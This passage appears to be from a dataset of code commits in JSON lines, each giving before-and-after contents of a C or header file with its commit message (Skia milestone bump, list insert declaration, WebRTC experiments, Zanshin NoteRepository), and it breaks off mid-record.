27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"sbinet\/cxx-root,krafczyk\/root,beniz\/root,karies\/root,agarciamontoro\/root,sbinet\/cxx-root,simonpf\/root,nilqed\/root,Dr15Jones\/root,vukasinmilosevic\/root,gbitzes\/root,omazapa\/root,zzxuanyuan\/root,buuck\/root,lgiommi\/root,satyarth934\/root,0x0all\/ROOT,jrtomps\/root,agarciamontoro\/root,krafczyk\/root,perovic\/root,sbinet\/cxx-root,cxx-hep\/root-cern,thomaskeck\/root,georgtroska\/root,abhinavmoudgil95\/root,gbitzes\/root,karies\/root,Y--\/root,omazapa\/root-old,dfunke\/root,perovic\/root,sawenzel\/root,sawenzel\/root,agarciamontoro\/root,mhuwiler\/rootauto,cxx-hep\/root-cern,zzxuanyuan\/root-compressor-dummy,simonpf\/root,sirinath\/root,Duraznos\/root,krafczyk\/root,olifre\/root,beniz\/root,sirinath\/root,simonpf\/root,strykejern\/TTreeReader,davidlt\/root,ffurano\/root5,karies\/root,simonpf\/root,davidlt\/root,Duraznos\/root,dfunke\/root,dfunke\/root,evgeny-boger\/root,mkret2\/root,sirinath\/root,jrtomps\/root,esakellari\/root,esakellari\/my_root_for_test,olifre\/root,Y--\/root,0x0all\/ROOT,abhinavmoudgil95\/root,satyarth934\/root,sawenzel\/root,esakellari\/my_root_for_test,zzxuanyuan\/root-compressor-dummy,davidlt\/root,vukasinmilosevic\/root,perovic\/root,buuck\/root,pspe\/root,evgeny-boger\/root,veprbl\/root,nilqed\/root,Y--\/root,zzxuanyuan\/root-compressor-dummy,kirbyherm\/root-r-tools,omazapa\/root,CristinaCristescu\/root,dfunke\/root,root-mirror\/root,pspe\/root,ffurano\/root5,esakellari\/root,mkret2\/root,beniz\/root,smarinac\/root,simonpf\/root,sirinath\/root,krafczyk\/root,lgiommi\/root,abhinavmoudgil95\/root,esakellari\/my_root_for_test,Y--\/root,simonpf\/root,root-mirror\/root,gganis\/root,0x0all\/ROOT,thomaskeck\/root,karies\/root,nilqed\/root,zzxuanyuan\/root,nilqed\/root,strykejern\/TTreeReader,mhuwiler\/rootauto,jrtomps\/root,abhinavmoudgil95\/root,gganis\/root,BerserkerTroll\/root,satyarth934\/root,omazapa\/root,alexschlueter\/cern-root,Duraznos\/root,karies\/root,perovic\/root,Duraznos\/root,0x0all\/ROOT,sawenzel\/root,esakellari\/my_root_for_test,mkret2\/root,beniz\/root,jrtomps\/root,georgtroska\/root,vukasinmilosevic\/root,buuck\/root,CristinaCristescu\/root,nilqed\/root,beniz\/root,pspe\/root,buuck\/root,evgeny-boger\/root,root-mirror\/root,sirinath\/root,alexschlueter\/cern-root,CristinaCristescu\/root,sirinath\/root,mattkretz\/root,arch1tect0r\/root,Duraznos\/root,esakellari\/root,davidlt\/root,arch1tect0r\/root,veprbl\/root,arch1tect0r\/root,olifre\/root,root-mirror\/root,tc3t\/qoot,Duraznos\/root,tc3t\/qoot,pspe\/root,omazapa\/root-old,Dr15Jones\/root,perovic\/root,Y--\/root,CristinaCristescu\/root,dfunke\/root,jrtomps\/root,tc3t\/qoot,omazapa\/root,georgtroska\/root,jrtomps\/root,smarinac\/root,sirinath\/root,Duraznos\/root,lgiommi\/root,kirbyherm\/root-r-tools,esakellari\/root,karies\/root,CristinaCristescu\/root,strykejern\/TTreeReader,cxx-hep\/root-cern,arch1tect0r\/root,veprbl\/root,kirbyherm\/root-r-tools,zzxuanyuan\/root,lgiommi\/root,BerserkerTroll\/root,CristinaCristescu\/root,nilqed\/root,gganis\/root,evgeny-boger\/root,Dr15Jones\/root,karies\/root,gganis\/root,nilqed\/root,lgiommi\/root,gganis\/root,bbockelm\/root,lgiommi\/root,buuck\/root,zzxuanyuan\/root-compressor-dummy,vukasinmilosevic\/root,root-mirror\/root,Dr15Jones\/root,mhuwiler\/rootauto,nilqed\/root,davidlt\/root,veprbl\/root,pspe\/root,gbitzes\/root,sirinath\/root,esakellari\/my_root_for_test,root-mirror\/root,veprbl\/root,lgiommi\/root,agarciamontoro\/root,sawenzel\/root,0x0all\/ROOT,CristinaCristescu\/root,zzxuanyuan\/root-compressor-dummy,perovic\/root,mhuwiler\/rootauto,Y--\/root,sirinath\/root,karies\/root,krafczyk\/root,mattkretz\/root,thomaskeck\/root,evgeny-boger\/root,davidlt\/root,jrtomps\/root,vukasinmilosevic\/root,krafczyk\/root,esakellari\/my_root_for_test,perovic\/root,gbitzes\/root,olifre\/root,Dr15Jones\/root,alexschlueter\/cern-root,esakellari\/my_root_for_test,beniz\/root,mattkretz\/root,karies\/root,arch1tect0r\/root,CristinaCristescu\/root,simonpf\/root,pspe\/root,jrtomps\/root,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,alexschlueter\/cern-root,vukasinmilosevic\/root,bbockelm\/root,mattkretz\/root,omazapa\/root-old,buuck\/root,agarciamontoro\/root,pspe\/root,lgiommi\/root,cxx-hep\/root-cern,kirbyherm\/root-r-tools,Y--\/root,omazapa\/root,gbitzes\/root,jrtomps\/root,mattkretz\/root,gganis\/root,arch1tect0r\/root,dfunke\/root,gbitzes\/root,agarciamontoro\/root,gbitzes\/root,vukasinmilosevic\/root,BerserkerTroll\/root,cxx-hep\/root-cern,beniz\/root,Y--\/root,jrtomps\/root,gbitzes\/root,zzxuanyuan\/root,gbitzes\/root,georgtroska\/root,smarinac\/root,CristinaCristescu\/root,vukasinmilosevic\/root,nilqed\/root,sbinet\/cxx-root,zzxuanyuan\/root-compressor-dummy,vukasinmilosevic\/root,mhuwiler\/rootauto,bbockelm\/root,tc3t\/qoot,Y--\/root,sbinet\/cxx-root,alexschlueter\/cern-root,omazapa\/root,alexschlueter\/cern-root,ffurano\/root5,zzxuanyuan\/root,thomaskeck\/root,kirbyherm\/root-r-tools,smarinac\/root,sbinet\/cxx-root,olifre\/root,mkret2\/root,omazapa\/root-old,kirbyherm\/root-r-tools,0x0all\/ROOT,arch1tect0r\/root,Duraznos\/root,agarciamontoro\/root,esakellari\/my_root_for_test,esakellari\/root,thomaskeck\/root,omazapa\/root-old,mhuwiler\/rootauto,Y--\/root,Duraznos\/root,sawenzel\/root,BerserkerTroll\/root,abhinavmoudgil95\/root,sawenzel\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root,omazapa\/root,perovic\/root,mkret2\/root,root-mirror\/root,satyarth934\/root,sirinath\/root,satyarth934\/root,smarinac\/root,buuck\/root,sbinet\/cxx-root,evgeny-boger\/root,buuck\/root,kirbyherm\/root-r-tools,lgiommi\/root,omazapa\/root-old,tc3t\/qoot,veprbl\/root,cxx-hep\/root-cern,root-mirror\/root,georgtroska\/root,CristinaCristescu\/root,lgiommi\/root,arch1tect0r\/root,veprbl\/root,smarinac\/root,ffurano\/root5,arch1tect0r\/root,zzxuanyuan\/root,Y--\/root,simonpf\/root,sbinet\/cxx-root,simonpf\/root,pspe\/root,omazapa\/root,mattkretz\/root,ffurano\/root5,davidlt\/root,zzxuanyuan\/root,olifre\/root,sbinet\/cxx-root,omazapa\/root-old,abhinavmoudgil95\/root,evgeny-boger\/root,tc3t\/qoot,mkret2\/root,abhinavmoudgil95\/root,beniz\/root,0x0all\/ROOT,georgtroska\/root,veprbl\/root,thomaskeck\/root,buuck\/root,BerserkerTroll\/root,CristinaCristescu\/root,BerserkerTroll\/root,sawenzel\/root,thomaskeck\/root,sawenzel\/root,arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/my_root_for_test,thomaskeck\/root,thomaskeck\/root,buuck\/root,sirinath\/root,abhinavmoudgil95\/root,vukasinmilosevic\/root,BerserkerTroll\/root,veprbl\/root,bbockelm\/root,georgtroska\/root,agarciamontoro\/root,olifre\/root,gganis\/root,bbockelm\/root,omazapa\/root-old,omazapa\/root-old,esakellari\/root,olifre\/root,tc3t\/qoot,esakellari\/root,thomaskeck\/root,0x0all\/ROOT,abhinavmoudgil95\/root,gganis\/root,mkret2\/root,Duraznos\/root,perovic\/root,krafczyk\/root,ffurano\/root5,simonpf\/root,georgtroska\/root,mhuwiler\/rootauto,sbinet\/cxx-root,root-mirror\/root,georgtroska\/root,perovic\/root,davidlt\/root,beniz\/root,smarinac\/root,beniz\/root,esakellari\/root,jrtomps\/root,krafczyk\/root,tc3t\/qoot,karies\/root,tc3t\/qoot,dfunke\/root,krafczyk\/root,omazapa\/root-old,mattkretz\/root,agarciamontoro\/root,agarciamontoro\/root,beniz\/root,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,BerserkerTroll\/root,0x0all\/ROOT,mkret2\/root,gbitzes\/root,smarinac\/root,simonpf\/root,omazapa\/root,gbitzes\/root,mhuwiler\/rootauto,smarinac\/root,bbockelm\/root,arch1tect0r\/root,strykejern\/TTreeReader,dfunke\/root,abhinavmoudgil95\/root,sawenzel\/root,sawenzel\/root,Dr15Jones\/root,perovic\/root,davidlt\/root,dfunke\/root,pspe\/root,BerserkerTroll\/root,gganis\/root,georgtroska\/root,gganis\/root,mattkretz\/root,BerserkerTroll\/root,satyarth934\/root,nilqed\/root,olifre\/root,esakellari\/root,olifre\/root,evgeny-boger\/root,vukasinmilosevic\/root,BerserkerTroll\/root,krafczyk\/root,esakellari\/root,bbockelm\/root,strykejern\/TTreeReader,zzxuanyuan\/root,sbinet\/cxx-root,mattkretz\/root,satyarth934\/root,gganis\/root,Dr15Jones\/root,davidlt\/root,satyarth934\/root,mkret2\/root,zzxuanyuan\/root,omazapa\/root-old,evgeny-boger\/root,evgeny-boger\/root,esakellari\/my_root_for_test,evgeny-boger\/root,zzxuanyuan\/root,nilqed\/root,zzxuanyuan\/root-compressor-dummy,dfunke\/root,satyarth934\/root,mattkretz\/root,dfunke\/root,alexschlueter\/cern-root,mattkretz\/root,karies\/root,strykejern\/TTreeReader,krafczyk\/root,mhuwiler\/rootauto,veprbl\/root,zzxuanyuan\/root,olifre\/root,bbockelm\/root,tc3t\/qoot,omazapa\/root,mhuwiler\/rootauto,root-mirror\/root,smarinac\/root,ffurano\/root5,georgtroska\/root,abhinavmoudgil95\/root,bbockelm\/root,strykejern\/TTreeReader,pspe\/root,esakellari\/root,agarciamontoro\/root,bbockelm\/root,Duraznos\/root,lgiommi\/root,pspe\/root,bbockelm\/root,cxx-hep\/root-cern,cxx-hep\/root-cern,root-mirror\/root,buuck\/root,veprbl\/root,mkret2\/root,satyarth934\/root,davidlt\/root,mkret2\/root"}
{"commit":"6cbb0e446c5e939612b8e3dfa3771165ca255074","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\n\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\nvoid List_Insert(List* l, ListNode* n);\n\n#endif","subject":"Add List Insert function declaration","message":"Add List Insert function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"e849a32bb0b490d77b7c42ccbd9d7508e16a0f00","old_file":"include\/fmrcxx\/fmrcxx.h","new_file":"include\/fmrcxx\/fmrcxx.h","old_contents":"#ifndef FMRCXX_FMRCXX_H_\n#define FMRCXX_FMRCXX_H_\n\n#include <fmrcxx\/Iterator.h>\n#include <fmrcxx\/Range.h>\n#include <fmrcxx\/internal\/StdMapIterator.h>\n#include <fmrcxx\/internal\/StdContainerIterator.h>\n\nnamespace fmrcxx {\n\ntemplate <typename T, template <typename...> class Container, typename... TTs>\nStdContainerIterator<T, typename Container<T, TTs...>::iterator> iterateOver(Container<T, TTs...>& container);\n\ntemplate <typename T, template <typename... Others> class Container, typename... TTs>\nStdContainerIterator<T, typename Container<T>::iterator> reverseIterateOver(Container<T>& container);\n\ntemplate <typename Key, typename Value, template <typename...> class MapContainer, typename... TTs>\nStdMapIterator<Key, Value, typename MapContainer<Key, Value, TTs...>::iterator> iterateOverMap(MapContainer<Key, Value, TTs...>& container);\n\ntemplate <typename Key, typename Value, template <typename...> class MapContainer, typename... TTs>\nStdMapIterator<Key, Value, typename MapContainer<Key, Value, TTs...>::iterator> reverseIterateOverMap(MapContainer<Key, Value, TTs...>& container);\n\n}\n\n#include <fmrcxx\/impl\/fmrcxx.hpp>\n\n#endif\n","new_contents":"#ifndef FMRCXX_FMRCXX_H_\n#define FMRCXX_FMRCXX_H_\n\n#include <fmrcxx\/Iterator.h>\n#include <fmrcxx\/Range.h>\n#include <fmrcxx\/Random.h>\n#include <fmrcxx\/internal\/StdMapIterator.h>\n#include <fmrcxx\/internal\/StdContainerIterator.h>\n\nnamespace fmrcxx {\n\ntemplate <typename T, template <typename...> class Container, typename... TTs>\nStdContainerIterator<T, typename Container<T, TTs...>::iterator> iterateOver(Container<T, TTs...>& container);\n\ntemplate <typename T, template <typename... Others> class Container, typename... TTs>\nStdContainerIterator<T, typename Container<T>::iterator> reverseIterateOver(Container<T>& container);\n\ntemplate <typename Key, typename Value, template <typename...> class MapContainer, typename... TTs>\nStdMapIterator<Key, Value, typename MapContainer<Key, Value, TTs...>::iterator> iterateOverMap(MapContainer<Key, Value, TTs...>& container);\n\ntemplate <typename Key, typename Value, template <typename...> class MapContainer, typename... TTs>\nStdMapIterator<Key, Value, typename MapContainer<Key, Value, TTs...>::iterator> reverseIterateOverMap(MapContainer<Key, Value, TTs...>& container);\n\n}\n\n#include <fmrcxx\/impl\/fmrcxx.hpp>\n\n#endif\n","subject":"Add Random to general header","message":"Add Random to general header\n","lang":"C","license":"apache-2.0","repos":"cyr62110\/fmrcxx"}
{"commit":"dbb3b7606ccb070aedf6771e8efa54a15c2e5426","old_file":"src\/condor_includes\/condor_common.h","new_file":"src\/condor_includes\/condor_common.h","old_contents":"#include \"_condor_fix_types.h\"\n#include \"condor_fix_stdio.h\"\n#include <stdlib.h>\n#include \"condor_fix_unistd.h\"\n#include \"condor_fix_limits.h\"\n#include <string.h>\n#include <ctype.h>\n#include <fcntl.h>\n#include <errno.h>\n","new_contents":"#include \"_condor_fix_types.h\"\n#include \"condor_fix_stdio.h\"\n#include <stdlib.h>\n#include \"condor_fix_unistd.h\"\n#include \"condor_fix_limits.h\"\n#include \"condor_fix_string.h\"\n#include <ctype.h>\n#include <fcntl.h>\n#include <errno.h>\n","subject":"Include condor_fix_string.h rather than just string.h","message":"Include condor_fix_string.h rather than just string.h\n","lang":"C","license":"apache-2.0","repos":"bbockelm\/condor-network-accounting,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,djw8605\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/condor,djw8605\/condor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,neurodebian\/htcondor"}
{"commit":"c805263f16973c011d9d8bf89da77024fc549d42","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 106\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 107\n#endif\n","subject":"Update Skia milestone to 107","message":"Update Skia milestone to 107\n\nChange-Id: I2e2b4917adaea52c9cabd92bce092d279210cb82\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/571236\nAuto-Submit: Rakshit Sharma <e91e6cdce3825eaad0fa11b55195605cfed87fab@google.com>\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nReviewed-by: Rakshit Sharma <e91e6cdce3825eaad0fa11b55195605cfed87fab@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"02e0e8e72ad4f1e71483a8b6ab374ef8f47818a5","old_file":"ExtendTypedef\/ExtendFunctor.h","new_file":"ExtendTypedef\/ExtendFunctor.h","old_contents":"","new_contents":"\n\n#ifndef __extendFunctor_\n#define __extendFunctor_\n\ntemplate<class Functor, typename CSig, typename ESig>\nstruct ExtendedFunctor : public Functor\n{\npublic:\n  typedef typename CSig::type ControlSignature;\n  typedef typename ESig::type ExecutionSignature;\n};\n\n#endif\n","subject":"Add new functor that inherits from base and has custom sigs.","message":"Add new functor that inherits from base and has custom sigs.\n","lang":"C","license":"bsd-2-clause","repos":"robertmaynard\/Sandbox,robertmaynard\/Sandbox,robertmaynard\/Sandbox,robertmaynard\/Sandbox"}
{"commit":"5f55407acaccc0e20efaa71ee3cbd247707397b0","old_file":"src\/robobo.h","new_file":"src\/robobo.h","old_contents":"#ifndef ROBOBO_H\n#define ROBOBO_H\n#include \"main.h\"\n\n#include <string.h> \/\/ C strings to handle args\n#include <sstream>\n#endif","new_contents":"#ifndef ROBOBO_H\n#define ROBOBO_H\n#include \"main.h\"\n#include \"base.h\"\n\n#include <string.h> \/\/ C strings to handle args\n#include <sstream>\n#endif","subject":"Include unincluded necessary header file.","message":"Include unincluded necessary header file.\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"7326541875f1df288b485711dda342fe09297e4e","old_file":"PHPHub\/Constants\/APIConstant.h","new_file":"PHPHub\/Constants\/APIConstant.h","old_contents":"\/\/\n\/\/  APIConstant.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define APIAccessTokenURL [NSString stringWithFormat:@\"%@%@\", APIBaseURL, @\"\/oauth\/access_token\"]\n#define QiniuUploadTokenIdentifier @\"QiniuUploadTokenIdentifier\"\n\n#if DEBUG\n#define APIBaseURL      @\"https:\/\/staging_api.phphub.org\/v1\"\n#else\n#define APIBaseURL      @\"https:\/\/api.phphub.org\/v1\"\n#endif\n\n#define PHPHubHost        @\"phphub.org\"\n#define PHPHubUrl         @\"https:\/\/phphub.org\/\"\n#define GitHubURL         @\"https:\/\/github.com\/\"\n#define TwitterURL        @\"https:\/\/twitter.com\/\"\n#define ProjectURL        @\"https:\/\/github.com\/aufree\/phphub-ios\"\n#define AboutPageURL      @\"https:\/\/phphub.org\/about\"\n#define ESTGroupURL       @\"http:\/\/est-group.org\"\n#define AboutTheAuthorURL @\"weibo.com\/jinfali\"\n#define PHPHubGuide       @\"http:\/\/7xnqwn.com1.z0.glb.clouddn.com\/index.html\"\n#define PHPHubTopicURL    @\"https:\/\/phphub.org\/topics\/\"\n#define SinaRedirectURL   @\"http:\/\/sns.whalecloud.com\/sina2\/callback\"\n\n#define UpdateNoticeCount @\"UpdateNoticeCount\"","new_contents":"\/\/\n\/\/  APIConstant.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define APIAccessTokenURL [NSString stringWithFormat:@\"%@%@\", APIBaseURL, @\"\/oauth\/access_token\"]\n#define QiniuUploadTokenIdentifier @\"QiniuUploadTokenIdentifier\"\n\n#if DEBUG\n#define APIBaseURL      @\"https:\/\/staging_api.phphub.org\/v1\"\n#else\n#define APIBaseURL      @\"https:\/\/api.phphub.org\/v1\"\n#endif\n\n#define PHPHubHost        @\"phphub.org\"\n#define PHPHubUrl         @\"https:\/\/phphub.org\/\"\n#define GitHubURL         @\"https:\/\/github.com\/\"\n#define TwitterURL        @\"https:\/\/twitter.com\/\"\n#define ProjectURL        @\"https:\/\/github.com\/aufree\/phphub-ios\"\n#define AboutPageURL      @\"https:\/\/phphub.org\/about\"\n#define ESTGroupURL       @\"http:\/\/est-group.org\"\n#define AboutTheAuthorURL @\"https:\/\/github.com\/aufree\"\n#define PHPHubGuide       @\"http:\/\/7xnqwn.com1.z0.glb.clouddn.com\/index.html\"\n#define PHPHubTopicURL    @\"https:\/\/phphub.org\/topics\/\"\n#define SinaRedirectURL   @\"http:\/\/sns.whalecloud.com\/sina2\/callback\"\n\n#define UpdateNoticeCount @\"UpdateNoticeCount\"","subject":"Change about the author url","message":"Change about the author url\n","lang":"C","license":"mit","repos":"Aufree\/phphub-ios"}
{"commit":"53849e2086a253bca800b5f25153c3892a4f4db1","old_file":"test\/suite\/bugs\/ifpp.c","new_file":"test\/suite\/bugs\/ifpp.c","old_contents":"","new_contents":"int f(int d)\n{\n    int i = 0, j, k, l;\n    if (d%2==0)\n        if (d%3==0)\n            i+=2;\n        else\n            i+=3;\n    if (d%2==0)\n    {\n        if (d%3==0)\n            i+=7;\n    }\n    else\n        i+=11;\n\n    l = d;\n    if (d%2==0)\n        while (l--)\n            if (1)\n              i+=13;\n            else\n              i+=17;\n    l = d;\n    \n    if (d%2==0)\n    {\n        while (l--)\n            if (1)\n              i+=21;\n    }\n    else\n        i+=23;\n\n    if (d==0)\n        i+=27;\n    else if (d%2==0)\n        if (d%3==0)\n            i+=29;\n        else if (d%5==0)\n            if (d%7==0)\n                i+=31;\n            else\n                i+=33;\n    return i;\n}\nint main()\n{\n  int i,k=0;\n  for(i=0;i<255;i++) \n  {\n    k+=f(i);\n  }\n  printf(\"Result: %d\\n\",k);\n}","subject":"Add another test for pretty printing if-then-else","message":"Add another test for pretty printing if-then-else\n\nIgnore-this: c0cab673ec9d716deb4154ae5599ed74\n\ndarcs-hash:512056f55df6186193f854d96821b4a589d19d04\n","lang":"C","license":"bsd-3-clause","repos":"micknelso\/language-c,micknelso\/language-c,micknelso\/language-c"}
{"commit":"a5f90d80a27a575b3fc428e38d2d179dad1c877b","old_file":"Pod\/Classes\/Core\/CLPUIObject.h","new_file":"Pod\/Classes\/Core\/CLPUIObject.h","old_contents":"#import \"CLPBaseObject.h\"\n\n@interface CLPUIObject : CLPBaseObject\n\n@property (nonatomic, readwrite) IBOutlet UIView *view;\n\n- (instancetype)remove;\n\n@end\n","new_contents":"#import \"CLPBaseObject.h\"\n\n@interface CLPUIObject : CLPBaseObject\n\n@property (nonatomic, strong, readwrite) IBOutlet UIView *view;\n\n- (instancetype)remove;\n\n@end\n","subject":"Set view property to strong for UIObjects.","message":"Set view property to strong for UIObjects.\n","lang":"C","license":"bsd-3-clause","repos":"barbosa\/clappr-ios,clappr\/clappr-ios,clappr\/clappr-ios,clappr\/clappr-ios,barbosa\/clappr-ios"}
{"commit":"62f828c9bd51124a9a24362fbf6d2bc4a7971e75","old_file":"src\/domain\/noterepository.h","new_file":"src\/domain\/noterepository.h","old_contents":"\/* This file is part of Zanshin\n\n   Copyright 2014 Kevin Ottens <ervin@kde.org>\n\n   This program is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU General Public License as\n   published by the Free Software Foundation; either version 2 of\n   the License or (at your option) version 3 or any later version\n   accepted by the membership of KDE e.V. (or its successor approved\n   by the membership of KDE e.V.), which shall act as a proxy\n   defined in Section 14 of version 3 of the license.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n   USA.\n*\/\n\n#ifndef DOMAIN_NOTEREPOSITORY_H\n#define DOMAIN_NOTEREPOSITORY_H\n\n#include \"note.h\"\n\nclass KJob;\n\nnamespace Domain {\n\nclass NoteRepository\n{\npublic:\n    NoteRepository();\n    virtual ~NoteRepository();\n\n    virtual KJob *save(Note::Ptr note) = 0;\n    virtual KJob *remove(Note::Ptr note) = 0;\n};\n\n}\n\n#endif \/\/ DOMAIN_NOTEREPOSITORY_H\n","new_contents":"\/* This file is part of Zanshin\n\n   Copyright 2014 Kevin Ottens <ervin@kde.org>\n\n   This program is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU General Public License as\n   published by the Free Software Foundation; either version 2 of\n   the License or (at your option) version 3 or any later version\n   accepted by the membership of KDE e.V. (or its successor approved\n   by the membership of KDE e.V.), which shall act as a proxy\n   defined in Section 14 of version 3 of the license.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n   USA.\n*\/\n\n#ifndef DOMAIN_NOTEREPOSITORY_H\n#define DOMAIN_NOTEREPOSITORY_H\n\n#include \"datasource.h\"\n#include \"note.h\"\n\nclass KJob;\n\nnamespace Domain {\n\nclass NoteRepository\n{\npublic:\n    NoteRepository();\n    virtual ~NoteRepository();\n\n    virtual bool isDefaultSource(DataSource::Ptr source) const = 0;\n    virtual void setDefaultSource(DataSource::Ptr source) = 0;\n\n    virtual KJob *save(Note::Ptr note) = 0;\n    virtual KJob *remove(Note::Ptr note) = 0;\n};\n\n}\n\n#endif \/\/ DOMAIN_NOTEREPOSITORY_H\n","subject":"Add the default source concept to NoteRepository","message":"Add the default source concept to NoteRepository\n","lang":"C","license":"lgpl-2.1","repos":"sandsmark\/zanshin,kolab-groupware\/zanshin,sandsmark\/zanshin,sandsmark\/zanshin,kolab-groupware\/zanshin,kolab-groupware\/zanshin"}
{"commit":"b202cb277a68a78e431bdf0cdbf1dd5215a7055e","old_file":"experiments.h","new_file":"experiments.h","old_contents":"\/*\n *  Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef WEBRTC_EXPERIMENTS_H_\n#define WEBRTC_EXPERIMENTS_H_\n\n#include \"webrtc\/typedefs.h\"\n\nnamespace webrtc {\nstruct RemoteBitrateEstimatorMinRate {\n  RemoteBitrateEstimatorMinRate() : min_rate(30000) {}\n  RemoteBitrateEstimatorMinRate(uint32_t min_rate) : min_rate(min_rate) {}\n\n  uint32_t min_rate;\n};\n\nstruct SkipEncodingUnusedStreams {\n  SkipEncodingUnusedStreams() : enabled(false) {}\n  explicit SkipEncodingUnusedStreams(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~SkipEncodingUnusedStreams() {}\n\n  const bool enabled;\n};\n\nstruct AimdRemoteRateControl {\n  AimdRemoteRateControl() : enabled(false) {}\n  explicit AimdRemoteRateControl(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~AimdRemoteRateControl() {}\n\n  const bool enabled;\n};\n}  \/\/ namespace webrtc\n#endif  \/\/ WEBRTC_EXPERIMENTS_H_\n","new_contents":"\/*\n *  Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef WEBRTC_EXPERIMENTS_H_\n#define WEBRTC_EXPERIMENTS_H_\n\n#include \"webrtc\/typedefs.h\"\n\nnamespace webrtc {\nstruct RemoteBitrateEstimatorMinRate {\n  RemoteBitrateEstimatorMinRate() : min_rate(30000) {}\n  RemoteBitrateEstimatorMinRate(uint32_t min_rate) : min_rate(min_rate) {}\n\n  uint32_t min_rate;\n};\n\nstruct AimdRemoteRateControl 